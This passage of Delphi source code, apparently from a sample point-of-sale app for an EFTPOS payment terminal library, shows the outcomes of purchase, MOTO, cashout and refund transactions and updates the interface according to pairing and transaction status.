AS SPIClient_TLB.PurchaseResponse;
case txFlowState.Success of
SuccessState_Success:
begin
frmActions.richEdtFlow.Lines.Add('# WOOHOO - WE GOT MOTO-PAID!');
motoResponse := ComWrapper.MotoPurchaseResponseInit(txFlowState.Response);
purchaseResponse := motoResponse.PurchaseResponse;
frmActions.richEdtFlow.Lines.Add('# Response: ' +
purchaseResponse.GetResponseText);
frmActions.richEdtFlow.Lines.Add('# RRN: ' + purchaseResponse.GetRRN);
frmActions.richEdtFlow.Lines.Add('# Scheme: ' +
purchaseResponse.SchemeName);
frmActions.richEdtFlow.Lines.Add('# Card Entry: ' + purchaseResponse.GetCardEntry);
frmActions.richEdtFlow.Lines.Add('# Customer Receipt:');
if (not purchaseResponse.WasCustomerReceiptPrinted) then
begin
frmMain.richEdtReceipt.Lines.Add
(TrimLeft(purchaseResponse.GetCustomerReceipt));
end
else
begin
frmActions.richEdtFlow.Lines.Add('# PRINTED FROM EFTPOS');
end;
frmActions.richEdtFlow.Lines.Add('# PURCHASE: ' +
IntToStr(purchaseResponse.GetCashoutAmount));
frmActions.richEdtFlow.Lines.Add('# BANKED NON-CASH AMOUNT: ' +
IntToStr(purchaseResponse.GetBankNonCashAmount));
frmActions.richEdtFlow.Lines.Add('# BANKED CASH AMOUNT: ' +
IntToStr(purchaseResponse.GetBankCashAmount));
end;
SuccessState_Failed:
begin
frmActions.richEdtFlow.Lines.Add('# WE DID NOT GET MOTO-PAID :(');
frmActions.richEdtFlow.Lines.Add('# Error: ' +
txFlowState.Response.GetError);
frmActions.richEdtFlow.Lines.Add('# Error Detail: ' +
txFlowState.Response.GetErrorDetail);
if (txFlowState.Response <> nil) then
begin
motoResponse := ComWrapper.MotoPurchaseResponseInit(txFlowState.Response);
purchaseResponse := motoResponse.PurchaseResponse;
frmActions.richEdtFlow.Lines.Add('# Response: ' +
purchaseResponse.GetResponseText);
frmActions.richEdtFlow.Lines.Add('# RRN: ' + purchaseResponse.GetRRN);
frmActions.richEdtFlow.Lines.Add('# Scheme: ' +
purchaseResponse.SchemeName);
frmActions.richEdtFlow.Lines.Add('# Customer Receipt:');
frmMain.richEdtReceipt.Lines.Add
(TrimLeft(purchaseResponse.GetCustomerReceipt));
end;
end;
SuccessState_Unknown:
begin
frmActions.richEdtFlow.Lines.Add('# WE''RE NOT QUITE SURE WHETHER THE MOTO WENT THROUGH OR NOT :/');
frmActions.richEdtFlow.Lines.Add('# CHECK THE LAST TRANSACTION ON THE EFTPOS ITSELF FROM THE APPROPRIATE MENU ITEM.');
frmActions.richEdtFlow.Lines.Add('# YOU CAN THE TAKE THE APPROPRIATE ACTION.');
end;
else
begin
raise Exception.Create('Argument Out Of Range Exception');
end;
end;
end;
procedure HandleFinishedCashout(txFlowState: SPIClient_TLB.TransactionFlowState);
var
cashoutResponse: SPIClient_TLB.CashoutOnlyResponse;
begin
cashoutResponse := CreateComObject(CLASS_CashoutOnlyResponse)
AS SPIClient_TLB.CashoutOnlyResponse;
case txFlowState.Success of
SuccessState_Success:
begin
frmActions.richEdtFlow.Lines.Add('# CASH-OUT SUCCESSFUL - HAND THEM THE CASH!');
cashoutResponse := ComWrapper.CashoutOnlyResponseInit(txFlowState.Response);
frmActions.richEdtFlow.Lines.Add('# Response: ' +
cashoutResponse.GetResponseText);
frmActions.richEdtFlow.Lines.Add('# RRN: ' + cashoutResponse.GetRRN);
frmActions.richEdtFlow.Lines.Add('# Scheme: ' +
cashoutResponse.SchemeName);
frmActions.richEdtFlow.Lines.Add('# Customer Receipt:');
if (not cashoutResponse.WasCustomerReceiptPrinted) then
begin
frmMain.richEdtReceipt.Lines.Add
(TrimLeft(cashoutResponse.GetCustomerReceipt));
end
else
begin
frmActions.richEdtFlow.Lines.Add('# PRINTED FROM EFTPOS');
end;
frmActions.richEdtFlow.Lines.Add('# CASHOUT: ' +
IntToStr(cashoutResponse.GetCashoutAmount));
frmActions.richEdtFlow.Lines.Add('# BANKED NON-CASH AMOUNT: ' +
IntToStr(cashoutResponse.GetBankNonCashAmount));
frmActions.richEdtFlow.Lines.Add('# BANKED CASH AMOUNT: ' +
IntToStr(cashoutResponse.GetBankCashAmount));
end;
SuccessState_Failed:
begin
frmActions.richEdtFlow.Lines.Add('# CASHOUT FAILED!');
frmActions.richEdtFlow.Lines.Add('# Error: ' +
txFlowState.Response.GetError);
frmActions.richEdtFlow.Lines.Add('# Error Detail: ' +
txFlowState.Response.GetErrorDetail);
if (txFlowState.Response <> nil) then
begin
cashoutResponse := ComWrapper.CashoutOnlyResponseInit(
txFlowState.Response);
frmActions.richEdtFlow.Lines.Add('# Response: ' +
cashoutResponse.GetResponseText);
frmActions.richEdtFlow.Lines.Add('# RRN: ' + cashoutResponse.GetRRN);
frmActions.richEdtFlow.Lines.Add('# Scheme: ' +
cashoutResponse.SchemeName);
frmActions.richEdtFlow.Lines.Add('# Customer Receipt:');
frmMain.richEdtReceipt.Lines.Add
(TrimLeft(cashoutResponse.GetCustomerReceipt));
end;
end;
SuccessState_Unknown:
begin
frmActions.richEdtFlow.Lines.Add('# WE''RE NOT QUITE SURE WHETHER THE CASHOUT WENT THROUGH OR NOT :/');
frmActions.richEdtFlow.Lines.Add('# CHECK THE LAST TRANSACTION ON THE EFTPOS ITSELF FROM THE APPROPRIATE MENU ITEM.');
frmActions.richEdtFlow.Lines.Add('# YOU CAN THE TAKE THE APPROPRIATE ACTION.');
end;
else
begin
raise Exception.Create('Argument Out Of Range Exception');
end;
end;
end;
procedure HandleFinishedRefund(txFlowState: SPIClient_TLB.TransactionFlowState);
var
refundResponse: SPIClient_TLB.RefundResponse;
begin
refundResponse := CreateComObject(CLASS_RefundResponse)
AS SPIClient_TLB.RefundResponse;
case txFlowState.Success of
SuccessState_Success:
begin
frmActions.richEdtFlow.Lines.Add('# REFUND GIVEN- OH WELL!');
refundResponse := ComWrapper.RefundResponseInit(txFlowState.Response);
frmActions.richEdtFlow.Lines.Add('# Response: ' +
refundResponse.GetResponseText);
frmActions.richEdtFlow.Lines.Add('# RRN: ' + refundResponse.GetRRN);
frmActions.richEdtFlow.Lines.Add('# Scheme: ' +
refundResponse.SchemeName);
frmActions.richEdtFlow.Lines.Add('# Customer Receipt:');
if (not refundResponse.WasCustomerReceiptPrinted) then
begin
frmMain.richEdtReceipt.Lines.Add
(TrimLeft(refundResponse.GetCustomerReceipt));
end
else
begin
frmActions.richEdtFlow.Lines.Add('# PRINTED FROM EFTPOS');
end;
frmActions.richEdtFlow.Lines.Add('# REFUNDED AMOUNT: ' +
IntToStr(refundResponse.GetRefundAmount));
end;
SuccessState_Failed:
begin
frmActions.richEdtFlow.Lines.Add('# REFUND FAILED!');
frmActions.richEdtFlow.Lines.Add('# Error: ' +
txFlowState.Response.GetError);
frmActions.richEdtFlow.Lines.Add('# Error Detail: ' +
txFlowState.Response.GetErrorDetail);
if (txFlowState.Response <> nil) then
begin
refundResponse := ComWrapper.RefundResponseInit (
txFlowState.Response);
frmActions.richEdtFlow.Lines.Add('# Response: ' +
refundResponse.GetResponseText);
frmActions.richEdtFlow.Lines.Add('# RRN: ' + refundResponse.GetRRN);
frmActions.richEdtFlow.Lines.Add('# Scheme: ' +
refundResponse.SchemeName);
frmActions.richEdtFlow.Lines.Add('# Customer Receipt:');
if (not refundResponse.WasCustomerReceiptPrinted) then
begin
frmMain.richEdtReceipt.Lines.Add
(TrimLeft(refundResponse.GetCustomerReceipt));
end
else
begin
frmActions.richEdtFlow.Lines.Add('# PRINTED FROM EFTPOS');
end;
end;
end;
SuccessState_Unknown:
begin
frmActions.richEdtFlow.Lines.Add('# WE''RE NOT QUITE SURE WHETHER THE REFUND WENT THROUGH OR NOT :/');
frmActions.richEdtFlow.Lines.Add('# CHECK THE LAST TRANSACTION ON THE EFTPOS ITSELF FROM THE APPROPRIATE MENU ITEM.');
frmActions.richEdtFlow.Lines.Add('# YOU CAN THE TAKE THE APPROPRIATE ACTION.');
end;
else
begin
raise Exception.Create('Argument Out Of Range Exception');
end;
end;
end;
procedure HandleFinishedPurchase(txFlowState: SPIClient_TLB.TransactionFlowState);
var
purchaseResponse: SPIClient_TLB.PurchaseResponse;
begin
purchaseResponse := CreateComObject(CLASS_PurchaseResponse)
AS SPIClient_TLB.PurchaseResponse;
case txFlowState.Success of
SuccessState_Success:
begin
frmActions.richEdtFlow.Lines.Add('# WOOHOO - WE GOT PAID!');
purchaseResponse := ComWrapper.PurchaseResponseInit(txFlowState.Response);
frmActions.richEdtFlow.Lines.Add('# Response: ' +
purchaseResponse.GetResponseText);
frmActions.richEdtFlow.Lines.Add('# RRN: ' + purchaseResponse.GetRRN);
frmActions.richEdtFlow.Lines.Add('# Scheme: ' +
purchaseResponse.SchemeName);
frmActions.richEdtFlow.Lines.Add('# Customer Receipt:');
if (not purchaseResponse.WasCustomerReceiptPrinted) then
begin
frmMain.richEdtReceipt.Lines.Add
(TrimLeft(purchaseResponse.GetCustomerReceipt));
end
else
begin
frmActions.richEdtFlow.Lines.Add('# PRINTED FROM EFTPOS');
end;
frmActions.richEdtFlow.Lines.Add('# PURCHASE: ' +
IntToStr(purchaseResponse.GetPurchaseAmount));
frmActions.richEdtFlow.Lines.Add('# TIP: ' +
IntToStr(purchaseResponse.GetTipAmount));
frmActions.richEdtFlow.Lines.Add('# CASHOUT: ' +
IntToStr(purchaseResponse.GetCashoutAmount));
frmActions.richEdtFlow.Lines.Add('# BANKED NON-CASH AMOUNT: ' +
IntToStr(purchaseResponse.GetBankNonCashAmount));
frmActions.richEdtFlow.Lines.Add('# BANKED CASH AMOUNT: ' +
IntToStr(purchaseResponse.GetBankCashAmount));
end;
SuccessState_Failed:
begin
frmActions.richEdtFlow.Lines.Add('# WE DID NOT GET PAID :(');
frmActions.richEdtFlow.Lines.Add('# Error: ' +
txFlowState.Response.GetError);
frmActions.richEdtFlow.Lines.Add('# Error Detail: ' +
txFlowState.Response.GetErrorDetail);
if (txFlowState.Response <> nil) then
begin
purchaseResponse := ComWrapper.PurchaseResponseInit(
txFlowState.Response);
frmActions.richEdtFlow.Lines.Add('# Response: ' +
purchaseResponse.GetResponseText);
frmActions.richEdtFlow.Lines.Add('# RRN: ' + purchaseResponse.GetRRN);
frmActions.richEdtFlow.Lines.Add('# Scheme: ' +
purchaseResponse.SchemeName);
frmActions.richEdtFlow.Lines.Add('# Customer Receipt:');
if (not purchaseResponse.WasCustomerReceiptPrinted) then
begin
frmMain.richEdtReceipt.Lines.Add
(TrimLeft(purchaseResponse.GetCustomerReceipt));
end
else
begin
frmActions.richEdtFlow.Lines.Add('# PRINTED FROM EFTPOS');
end;
end;
end;
SuccessState_Unknown:
begin
frmActions.richEdtFlow.Lines.Add('# WE''RE NOT QUITE SURE WHETHER WE GOT PAID OR NOT :/');
frmActions.richEdtFlow.Lines.Add('# CHECK THE LAST TRANSACTION ON THE EFTPOS ITSELF FROM THE APPROPRIATE MENU ITEM.');
frmActions.richEdtFlow.Lines.Add('# IF YOU CONFIRM THAT THE CUSTOMER PAID, CLOSE THE ORDER.');
frmActions.richEdtFlow.Lines.Add('# OTHERWISE, RETRY THE PAYMENT FROM SCRATCH.');
end;
else
begin
raise Exception.Create('Argument Out Of Range Exception');
end;
end;
end;
procedure PrintFlowInfo;
var
txFlowState: SPIClient_TLB.TransactionFlowState;
begin
case Spi.CurrentFlow of
SpiFlow_Pairing:
begin
frmActions.lblFlowMessage.Caption := spi.CurrentPairingFlowState.Message;
frmActions.richEdtFlow.Lines.Add('### PAIRING PROCESS UPDATE ###');
frmActions.richEdtFlow.Lines.Add('# ' +
spi.CurrentPairingFlowState.Message);
frmActions.richEdtFlow.Lines.Add('# Finished? ' +
BoolToStr(spi.CurrentPairingFlowState.Finished));
frmActions.richEdtFlow.Lines.Add('# Successful? ' +
BoolToStr(spi.CurrentPairingFlowState.Successful));
frmActions.richEdtFlow.Lines.Add('# Confirmation Code: ' +
spi.CurrentPairingFlowState.ConfirmationCode);
frmActions.richEdtFlow.Lines.Add('# Waiting Confirm from Eftpos? ' +
BoolToStr(spi.CurrentPairingFlowState.AwaitingCheckFromEftpos));
frmActions.richEdtFlow.Lines.Add('# Waiting Confirm from POS? ' +
BoolToStr(spi.CurrentPairingFlowState.AwaitingCheckFromPos));
end;
SpiFlow_Transaction:
begin
txFlowState := spi.CurrentTxFlowState;
frmActions.lblFlowMessage.Caption :=
spi.CurrentTxFlowState.DisplayMessage;
frmActions.richEdtFlow.Lines.Add('### TX PROCESS UPDATE ###');
frmActions.richEdtFlow.Lines.Add('# ' +
spi.CurrentTxFlowState.DisplayMessage);
frmActions.richEdtFlow.Lines.Add('# Id: ' + txFlowState.PosRefId);
frmActions.richEdtFlow.Lines.Add('# Type: ' +
ComWrapper.GetTransactionTypeEnumName(txFlowState.type_));
frmActions.richEdtFlow.Lines.Add('# Amount: ' +
inttostr(txFlowState.amountCents div 100));
frmActions.richEdtFlow.Lines.Add('# WaitingForSignature: ' +
BoolToStr(txFlowState.AwaitingSignatureCheck));
frmActions.richEdtFlow.Lines.Add('# Attempting to Cancel : ' +
BoolToStr(txFlowState.AttemptingToCancel));
frmActions.richEdtFlow.Lines.Add('# Finished: ' +
BoolToStr(txFlowState.Finished));
frmActions.richEdtFlow.Lines.Add('# Success: ' +
ComWrapper.GetSuccessStateEnumName(txFlowState.Success));
if (txFlowState.AwaitingSignatureCheck) then
begin
//We need to print the receipt for the customer to sign.
frmActions.richEdtFlow.Lines.Add('# RECEIPT TO PRINT FOR SIGNATURE');
frmMain.richEdtReceipt.Lines.Add
(TrimLeft(txFlowState.SignatureRequiredMessage.GetMerchantReceipt));
end;
if (txFlowState.AwaitingPhoneForAuth) then
begin
//We need to print the receipt for the customer to sign.
frmActions.richEdtFlow.Lines.Add('# RECEIPT TO PRINT FOR SIGNATURE');
frmMain.richEdtReceipt.Lines.Add('# CALL: ' +
txFlowState.PhoneForAuthRequiredMessage.GetPhoneNumber);
frmMain.richEdtReceipt.Lines.Add('# QUOTE: Merchant Id: ' +
txFlowState.PhoneForAuthRequiredMessage.GetMerchantId);
end;
//If the transaction is finished, we take some extra steps.
If (txFlowState.Finished) then
begin
case txFlowState.type_ of
TransactionType_Purchase:
HandleFinishedPurchase(txFlowState);
TransactionType_Refund:
HandleFinishedRefund(txFlowState);
TransactionType_CashoutOnly:
HandleFinishedCashout(txFlowState);
TransactionType_MOTO:
HandleFinishedMoto(txFlowState);
TransactionType_Settle:
HandleFinishedSettle(txFlowState);
TransactionType_SettlementEnquiry:
HandleFinishedSettlementEnquiry(txFlowState);
TransactionType_GetLastTransaction:
HandleFinishedGetLastTransaction(txFlowState);
else
begin
frmActions.richEdtFlow.Lines.Add('# CAN''T HANDLE TX TYPE: ' +
ComWrapper.GetTransactionTypeEnumName(txFlowState.type_));
end;
end;
end;
end;
SpiFlow_Idle:
end;
frmActions.richEdtFlow.Lines.Add(
'# --------------- STATUS ------------------');
frmActions.richEdtFlow.Lines.Add(
'# ' + _posId + ' <-> Eftpos: ' + _eftposAddress + ' #');
frmActions.richEdtFlow.Lines.Add(
'# SPI STATUS: ' + ComWrapper.GetSpiStatusEnumName(Spi.CurrentStatus) +
' FLOW:' + ComWrapper.GetSpiFlowEnumName(Spi.CurrentFlow) + ' #');
frmActions.richEdtFlow.Lines.Add(
'# -----------------------------------------');
frmActions.richEdtFlow.Lines.Add(
'# POS: v' + ComWrapper.GetPosVersion + ' Spi: v' +
ComWrapper.GetSpiVersion);
end;
procedure PrintStatusAndActions();
begin
frmMain.lblStatus.Caption := ComWrapper.GetSpiStatusEnumName
(Spi.CurrentStatus) + ':' + ComWrapper.GetSpiFlowEnumName(Spi.CurrentFlow);
case Spi.CurrentStatus of
SpiStatus_Unpaired:
case Spi.CurrentFlow of
SpiFlow_Idle:
begin
if Assigned(frmActions) then
begin
frmActions.lblFlowMessage.Caption := 'Unpaired';
frmActions.btnAction1.Visible := True;
frmActions.btnAction1.Caption := 'OK-Unpaired';
frmActions.btnAction2.Visible := False;
frmActions.btnAction3.Visible := False;
frmActions.lblAmount.Visible := False;
frmActions.lblTipAmount.Visible := False;
frmActions.lblCashoutAmount.Visible := False;
frmActions.lblPrompt.Visible := False;
frmActions.edtAmount.Visible := False;
frmActions.edtTipAmount.Visible := False;
frmActions.edtCashoutAmount.Visible := False;
frmActions.radioPrompt.Visible := False;
frmMain.lblStatus.Color := clRed;
exit;
end;
end;
SpiFlow_Pairing:
begin
if (Spi.CurrentPairingFlowState.AwaitingCheckFromPos) then
begin
frmActions.btnAction1.Visible := True;
frmActions.btnAction1.Caption := 'Confirm Code';
frmActions.btnAction2.Visible := True;
frmActions.btnAction2.Caption := 'Cancel Pairing';
frmActions.btnAction3.Visible := False;
frmActions.lblAmount.Visible := False;
frmActions.lblTipAmount.Visible := False;
frmActions.lblCashoutAmount.Visible := False;
frmActions.lblPrompt.Visible := False;
frmActions.edtAmount.Visible := False;
frmActions.edtTipAmount.Visible := False;
frmActions.edtCashoutAmount.Visible := False;
frmActions.radioPrompt.Visible := False;
exit;
end
else if (not Spi.CurrentPairingFlowState.Finished) then
begin
frmActions.btnAction1.Visible := True;
frmActions.btnAction1.Caption := 'Cancel Pairing';
frmActions.btnAction2.Visible := False;
frmActions.btnAction3.Visible := False;
frmActions.lblAmount.Visible := False;
frmActions.lblTipAmount.Visible := False;
frmActions.lblCashoutAmount.Visible := False;
frmActions.lblPrompt.Visible := False;
frmActions.edtAmount.Visible := False;
frmActions.edtTipAmount.Visible := False;
frmActions.edtCashoutAmount.Visible := False;
frmActions.radioPrompt.Visible := False;
exit;
end
else
begin
frmActions.btnAction1.Visible := True;
frmActions.btnAction1.Caption := 'OK';
frmActions.btnAction2.Visible := False;
frmActions.btnAction3.Visible := False;
frmActions.lblAmount.Visible := False;
frmActions.lblTipAmount.Visible := False;
frmActions.lblCashoutAmount.Visible := False;
frmActions.lblPrompt.Visible := False;
frmActions.edtAmount.Visible := False;
frmActions.edtTipAmount.Visible := False;
frmActions.edtCashoutAmount.Visible := False;
frmActions.radioPrompt.Visible := False;
end;
end;
SpiFlow_Transaction:
begin
exit;
end;
else
begin
frmActions.btnAction1.Visible := True;
frmActions.btnAction1.Caption := 'OK';
frmActions.btnAction2.Visible := False;
frmActions.btnAction3.Visible := False;
frmActions.lblAmount.Visible := False;
frmActions.lblTipAmount.Visible := False;
frmActions.lblCashoutAmount.Visible := False;
frmActions.lblPrompt.Visible := False;
frmActions.edtAmount.Visible := False;
frmActions.edtTipAmount.Visible := False;
frmActions.edtCashoutAmount.Visible := False;
frmActions.radioPrompt.Visible := False;
frmActions.richEdtFlow.Lines.Clear;
frmActions.richEdtFlow.Lines.Add('# .. Unexpected Flow .. ' +
ComWrapper.GetSpiFlowEnumName(Spi.CurrentFlow));
exit;
end;
end;
SpiStatus_PairedConnecting:
case Spi.CurrentFlow of
SpiFlow_Idle:
begin
frmMain.btnPair.Caption := 'UnPair';
frmMain.pnlTransActions.Visible := True;
frmMain.pnlOtherActions.Visible := True;
frmMain.lblStatus.Color := clYellow;
frmActions.lblFlowMessage.Caption := '# --> SPI Status Changed: ' +
ComWrapper.GetSpiStatusEnumName(spi.CurrentStatus);
frmActions.btnAction1.Visible := True;
frmActions.btnAction1.Caption := 'OK';
frmActions.btnAction2.Visible := False;
frmActions.btnAction3.Visible := False;
frmActions.lblAmount.Visible := False;
frmActions.lblTipAmount.Visible := False;
frmActions.lblCashoutAmount.Visible := False;
frmActions.lblPrompt.Visible := False;
frmActions.edtAmount.Visible := False;
frmActions.edtTipAmount.Visible := False;
frmActions.edtCashoutAmount.Visible := False;
frmActions.radioPrompt.Visible := False;
exit;
end;
SpiFlow_Transaction:
begin
if (Spi.CurrentTxFlowState.AwaitingSignatureCheck) then
begin
frmActions.btnAction1.Visible := True;
frmActions.btnAction1.Caption := 'Accept Signature';
frmActions.btnAction2.Visible := True;
frmActions.btnAction2.Caption := 'Decline Signature';
frmActions.btnAction3.Visible := True;
frmActions.btnAction3.Caption := 'Cancel';
frmActions.lblAmount.Visible := False;
frmActions.lblTipAmount.Visible := False;
frmActions.lblCashoutAmount.Visible := False;
frmActions.lblPrompt.Visible := False;
frmActions.edtAmount.Visible := False;
frmActions.edtTipAmount.Visible := False;
frmActions.edtCashoutAmount.Visible := False;
frmActions.radioPrompt.Visible := False;
exit;
end
else if (not Spi.CurrentTxFlowState.Finished) then
begin
frmActions.btnAction1.Visible := True;
frmActions.btnAction1.Caption := 'Cancel';
frmActions.btnAction2.Visible := False;
frmActions.btnAction3.Visible := False;
frmActions.lblAmount.Visible := False;
frmActions.lblTipAmount.Visible := False;
frmActions.lblCashoutAmount.Visible := False;
frmActions.lblPrompt.Visible := False;
frmActions.edtAmount.Visible := False;
frmActions.edtTipAmount.Visible := False;
frmActions.edtCashoutAmount.Visible := False;
frmActions.radioPrompt.Visible := False;
exit;
end
else
begin
case Spi.CurrentTxFlowState.Success of
SuccessState_Success:
begin
frmActions.btnAction1.Visible := True;
frmActions.btnAction1.Caption := 'OK';
frmActions.btnAction2.Visible := False;
frmActions.btnAction3.Visible := False;
frmActions.lblAmount.Visible := False;
frmActions.lblTipAmount.Visible := False;
frmActions.lblCashoutAmount.Visible := False;
frmActions.lblPrompt.Visible := False;
frmActions.edtAmount.Visible := False;
frmActions.edtTipAmount.Visible := False;
frmActions.edtCashoutAmount.Visible := False;
frmActions.radioPrompt.Visible := False;
exit;
end;
SuccessState_Failed:
begin
frmActions.btnAction1.Visible := True;
frmActions.btnAction1.Caption := 'Retry';
frmActions.btnAction2.Visible := True;
frmActions.btnAction2.Caption := 'Cancel';
frmActions.btnAction3.Visible := False;
frmActions.lblAmount.Visible := False;
frmActions.lblTipAmount.Visible := False;
frmActions.lblCashoutAmount.Visible := False;
frmActions.lblPrompt.Visible := False;
frmActions.edtAmount.Visible := False;
frmActions.edtTipAmount.Visible := False;
frmActions.edtCashoutAmount.Visible := False;
frmActions.radioPrompt.Visible := False;
exit;
end;
else
begin
frmActions.btnAction1.Visible := True;
frmActions.btnAction1.Caption := 'OK';
frmActions.btnAction2.Visible := False;
frmActions.btnAction3.Visible := False;
frmActions.lblAmount.Visible := False;
frmActions.lblTipAmount.Visible := False;
frmActions.lblCashoutAmount.Visible := False;
frmActions.lblPrompt.Visible := False;
frmActions.edtAmount.Visible := False;
frmActions.edtTipAmount.Visible := False;
frmActions.edtCashoutAmount.Visible := False;
frmActions.radioPrompt.Visible := False;
exit;
end;
end;
end;
end;
SpiFlow_Pairing:
begin
frmActions.btnAction1.Visible := True;
frmActions.btnAction1.Caption := 'OK';
frmActions.btnAction2.Visible := False;
frmActions.btnAction3.Visible := False;
frmActions.lblAmount.Visible := False;
frmActions.lblTipAmount.Visible := False;
frmActions.lblCashoutAmount.Visible := False;
frmActions.lblPrompt.Visible := False;
frmActions.edtAmount.Visible := False;
frmActions.edtTipAmount.Visible := False;
frmActions.edtCashoutAmount.Visible := False;
frmActions.radioPrompt.Visible := False;
exit;
end;
else
frmActions.btnAction1.Visible := True;
frmActions.btnAction1.Caption := 'OK';
frmActions.btnAction2.Visible := False;
frmActions.btnAction3.Visible := False;
frmActions.lblAmount.Visible := False;
frmActions.lblTipAmount.Visible := False;
frmActions.lblCashoutAmount.Visible := False;
frmActions.lblPrompt.Visible := False;
frmActions.edtAmount.Visible := False;
frmActions.edtTipAmount.Visible := False;
frmActions.edtCashoutAmount.Visible := False;
frmActions.radioPrompt.Visible := False;
frmActions.richEdtFlow.Lines.Clear;
frmActions.richEdtFlow.Lines.Add('# .. Unexpected Flow .. ' +
ComWrapper.GetSpiFlowEnumName(Spi.CurrentFlow));
exit;
end;
SpiStatus_PairedConnected:
case Spi.CurrentFlow of
SpiFlow_Idle:
begin
frmMain.btnPair.Caption := 'UnPair';
frmMain.pnlTransActions.Visible := True;
frmMain.pnlOtherActions.Visible := True;
frmMain.lblStatus.Color := clGreen;
frmActions.lblFlowMessage.Caption := '# --> SPI Status Changed: ' +
ComWrapper.GetSpiStatusEnumName(spi.CurrentStatus);
if (frmActions.btnAction1.Caption = 'Retry') then
begin
frmActions.btnAction1.Visible := True;
frmActions.btnAction1.Caption := 'OK';
frmActions.btnAction2.Visible := False;
frmActions.btnAction3.Visible := False;
frmActions.lblAmount.Visible := False;
frmActions.lblTipAmount.Visible := False;
frmActions.lblCashoutAmount.Visible := False;
frmActions.lblPrompt.Visible := False;
frmActions.edtAmount.Visible := False;
frmActions.edtTipAmount.Visible := False;
frmActions.edtCashoutAmount.Visible := False;
frmActions.radioPrompt.Visible := False;
end;
exit;
end;
SpiFlow_Transaction:
begin
if (Spi.CurrentTxFlowState.AwaitingSignatureCheck) then
begin
frmActions.btnAction1.Visible := True;
frmActions.btnAction1.Caption := 'Accept Signature';
frmActions.btnAction2.Visible := True;
frmActions.btnAction2.Caption := 'Decline Signature';
frmActions.btnAction3.Visible := True;
frmActions.btnAction3.Caption := 'Cancel';
frmActions.lblAmount.Visible := False;
frmActions.lblTipAmount.Visible := False;
frmActions.lblCashoutAmount.Visible := False;
frmActions.lblPrompt.Visible := False;
frmActions.edtAmount.Visible := False;
frmActions.edtTipAmount.Visible := False;
frmActions.edtCashoutAmount.Visible := False;
frmActions.radioPrompt.Visible := False;
exit;
end
else if (not Spi.CurrentTxFlowState.Finished) then
begin
frmActions.btnAction1.Visible := True;
frmActions.btnAction1.Caption := 'Cancel';
frmActions.btnAction2.Visible := False;
frmActions.btnAction3.Visible := False;
frmActions.lblAmount.Visible := False;
frmActions.lblTipAmount.Visible := False;
frmActions.lblCashoutAmount.Visible := False;
frmActions.lblPrompt.Visible := False;
frmActions.edtAmount.Visible := False;
frmActions.edtTipAmount.Visible := False;
frmActions.edtCashoutAmount.Visible := False;
frmActions.radioPrompt.Visible := False;
exit;
end
else
begin
case Spi.CurrentTxFlowState.Success of
SuccessState_Success:
begin
frmActions.btnAction1.Visible := True;
frmActions.btnAction1.Caption := 'OK';
frmActions.btnAction2.Visible := False;
frmActions.btnAction3.Visible := False;
frmActions.lblAmount.Visible := False;
frmActions.lblTipAmount.Visible := False;
frmActions.lblCashoutAmount.Visible := False;
frmActions.lblPrompt.Visible := False;
frmActions.edtAmount.Visible := False;
frmActions.edtTipAmount.Visible := False;
frmActions.edtCashoutAmount.Visible := False;
frmActions.radioPrompt.Visible := False;
exit;
end;
SuccessState_Failed:
begin
frmActions.btnAction1.Visible := True;
frmActions.btnAction1.Caption := 'Retry';
frmActions.btnAction2.Visible := True;
frmActions.btnAction2.Caption := 'Cancel';
frmActions.btnAction3.Visible := False;
frmActions.lblAmount.Visible := False;
frmActions.lblTipAmount.Visible := False;
frmActions.lblCashoutAmount.Visible := False;
frmActions.lblPrompt.Visible := False;
frmActions.edtAmount.Visible := False;
frmActions.edtTipAmount.Visible := False;
frmActions.edtCashoutAmount.Visible := False;
frmActions.radioPrompt.Visible := False;
exit;
end;
else
begin
frmActions.btnAction1.Visible := True;
frmActions.btnAction1.Caption := 'OK';
frmActions.btnAction2.Visible := False;
frmActions.btnAction3.Visible := False;
frmActions.lblAmount.Visible := False;
frmActions.lblTipAmount.Visible := False;
frmActions.lblCashoutAmount.Visible := False;
frmActions.lblPrompt.Visible := False;
frmActions.edtAmount.Visible := False;
frmActions.edtTipAmount.Visible := False;
frmActions.edtCashoutAmount.Visible := False;
frmActions.radioPrompt.Visible := False;
exit;
end;
end;
end;
end;
SpiFlow_Pairing:
begin
frmActions.btnAction1.Visible := True;
frmActions.btnAction1.Caption := 'OK';
frmActions.btnAction2.Visible := False;
frmActions.btnAction3.Visible := False;
frmActions.lblAmount.Visible := False;
frmActions.lblTipAmount.Visible := False;
frmActions.lblCashoutAmount.Visible := False;
frmActions.lblPrompt.Visible := False;
frmActions.edtAmount.Visible := False;
frmActions.edtTipAmount.Visible := False;
frmActions.edtCashoutAmount.Visible := False;
frmActions.radioPrompt.Visible := False;
exit;
end;
else
frmActions.btnAction1.Visible := True;
frmActions.btnAction1.Caption := 'OK';
frmActions.btnAction2.Visible := False;
frmActions.btnAction3.Visible := False;
frmActions.lblAmount.Visible := False;
frmActions.lblTipAmount.Visible := False;
frmActions.lblCashoutAmount.Visible := False;
frmActions.lblPrompt.Visible := False;
frmActions.edtAmount.Visible := False;
frmActions.edtTipAmount.Visible := False;
frmActions.edtCashoutAmount.Visible := False;
frmActions.radioPrompt.Visible := False;
frmActions.richEdtFlow.Lines.Clear;
frmActions.richEdtFlow.Lines.Add('# .. Unexpected Flow .. ' +
ComWrapper.GetSpiFlowEnumName(Spi.CurrentFlow));
exit;
end;
else
frmActions.btnAction1.Visible := True;
frmActions.btnAction1.Caption := 'OK';
frmActions.btnAction2.Visible := False;
frmActions.btnAction3.Visible := False;
frmActions.lblAmount.Visible := False;
frmActions.lblTipAmount.Visible := False;
frmActions.lblCashoutAmount.Visible := False;
frmActions.lblPrompt.Visible := False;
frmActions.edtAmount.Visible := False;
frmActions.edtTipAmount.Visible := False;
frmActions.edtCashoutAmount.Visible := False;
frmActions.radioPrompt.Visible := False;
frmActions.richEdtFlow.Lines.Clear;
frmActions.richEdtFlow.Lines.Add('# .. Unexpected Flow .. ' +
ComWrapper.GetSpiFlowEnumName(Spi.CurrentFlow));
exit;
end;
end;
procedure TxFlowStateChanged(e: SPIClient_TLB.TransactionFlowState); stdcall;
begin
if (not Assigned(frmActions)) then
begin
frmActions := frmActions.Create(frmMain, Spi);
frmActions.PopupParent := frmMain;
frmMain.Enabled := False;
end;
frmActions.Show;
PrintFlowInfo;
TMyWorkerThread.Create(false);
end;
procedure PairingFlowStateChanged(e: SPIClient_TLB.PairingFlowState); stdcall;
begin
if (not Assigned(frmActions)) then
begin
frmActions := TfrmActions.Create(frmMain, Spi);
frmActions.PopupParent := frmMain;
